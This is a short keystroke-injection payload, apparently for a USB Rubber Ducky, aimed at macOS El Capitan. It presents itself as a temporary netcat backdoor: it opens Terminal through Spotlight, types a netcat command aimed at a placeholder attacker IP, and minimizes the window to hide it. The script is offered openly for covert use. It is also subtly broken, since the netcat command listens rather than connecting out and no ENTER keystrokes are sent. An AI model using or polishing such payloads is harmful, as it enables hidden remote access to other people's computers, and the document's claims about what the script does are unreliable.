This Payload is tested in the latest version of OS X El Capitan. It Simply opens Terminal and starts a reverse NetCat to your computer, when it connects it minimizes the terminal window
You might want to mess around with the delay
DELAY 1000
GUI SPACE
DELAY 200
STRING TERMINAL
DELAY 300
STRING nc -l IPADRESS 8888
DELAY 100
GUI M
Temperary NC backdoor.txt